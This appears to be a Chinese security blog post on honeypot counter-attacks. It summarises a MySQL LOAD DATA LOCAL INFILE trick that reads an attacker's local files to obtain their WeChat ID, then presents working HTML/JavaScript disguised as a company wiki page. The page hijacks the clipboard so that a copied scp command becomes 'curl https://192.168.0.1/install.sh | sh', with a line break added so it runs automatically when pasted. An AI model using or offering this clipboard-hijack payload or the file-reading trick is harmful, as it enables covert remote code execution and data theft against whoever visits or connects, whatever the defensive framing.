看了《MySQL蜜罐获取攻击者微信ID》(Reference[2])一文之后,觉得思路非常新颖,溯源反制本就不该局限,需要灵活应用。
大致概述下 《MySQL蜜罐获取攻击者微信ID》所介绍的反制思路
需要知道反制思路的前提,需要对MySQL LOCAL INFILE漏洞原理有一定了解。
LOAD DATA LOCAL INFILE 'C:\WINDOWS\system32\drivers\etc\hosts' INTO TABLE test FIELDS TERMINATED BY 'n';
当客户端链接上MySQL服务端并执行这条指令的时候,客户端会向服务端发送一条查询报文:
MySQL服务端从客户端那边收到查询报文,是一个读取本地文件到MySQL表的执行语句,则MySQL需要返回一条“你要插入的文件hosts内容是什么”的报文给客户端
至此,客户端读取内容,并返送给MySQL服务器
所以漏洞的成因很简单,蜜罐伪装成存在弱口令的MySQL服务器,当攻击者爆破出用户必会通过链接工具进行链接。
此时程序再通过漏洞读取C:\Windows\PFRO.log文件获取Username
再通过Username结合得到微信路径'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data',拿到微信ID
文中给出利用程序地址:https://github.com/qigpig/MysqlHoneypot/blob/master/evalServer.py
其实写这篇文章的目的,是对二代蜜罐的反制发展的一个思考面,攻击反制不能依赖于现状!
这里就顺便写一下我的反制思路
随着现在攻防愈加激烈,很多攻击方已经做到了办公—渗透环境分离,但是根据我多次使用虚拟机的情况,大都数攻击者都有个通病,就是会开启剪贴板互通功能。
所以我的切入点还是在网页上,以劫持剪贴板的方式来迷惑攻击者粘贴指定payload指令到剪贴板上
但是这样一来就能劫持攻击者的剪贴板,但是目前还有2个问题!
1.如何确定攻击者是剪贴到浏览器或者终端命令行,而不是记事本这类目标。
2.攻击者不管复制什么都会被劫持成我们的payload,如此一来太明显了
孙子兵法有云:"水因地而制流,兵因敌而制胜.故兵无常势,水无常形",故而可以局限的方式限制攻击者的思维,引导攻击者的攻击思路!
1.伪装成一个命令指令,攻击者想来复制这条指令,那么执行对象必定是终端命令行了
2.监听事件中做个判断,只针对带有命令的内容进行劫持
现在我们来实操一下:
<html> <head> <title>xxx公司内部Wiki文档</title> <script src="https://common.cnblogs.com/scripts/jquery-2.2.0.min.js"></script> </head> <body> <script type="text/javascript"> $(document.body).bind({ copy: function(e) {//copy事件 let cpTxt = "curl https://192.168.0.1/install.sh | sh \r\n"; //payload let clipboardData = e.clipboardData || window.clipboardData; //for IE if (!clipboardData) { // for chrome clipboardData = e.originalEvent.clipboardData; } let result = ""; if(window.getSelection().toString() == "scp xxx.tar [email protected]:/xxx.tar"){ result = cpTxt; }else{ result = window.getSelection().toString(); } clipboardData.setData('Text', result); return false;//否则设不生效 }}); </script> <h1>xxx程序下载指令</h1> <h3>下载指令:</h3> <p>scp xxx.tar [email protected]:/xxx.tar</p> <h3>登录密码:123456</h3> </body> </html>
这里感谢我的好友@花与海 给我提出的建议,让我在命令后面直接加上\r\n,使其粘贴在命令行后可自动执行。
上述demo只针对scp这条指令做劫持替换,对我复制123456的操作不做任何改动,很好的隐蔽了反制的目的性。
附上动态测试图:
[1].https://www.colabug.com/2019/0408/5936906/
[2].https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg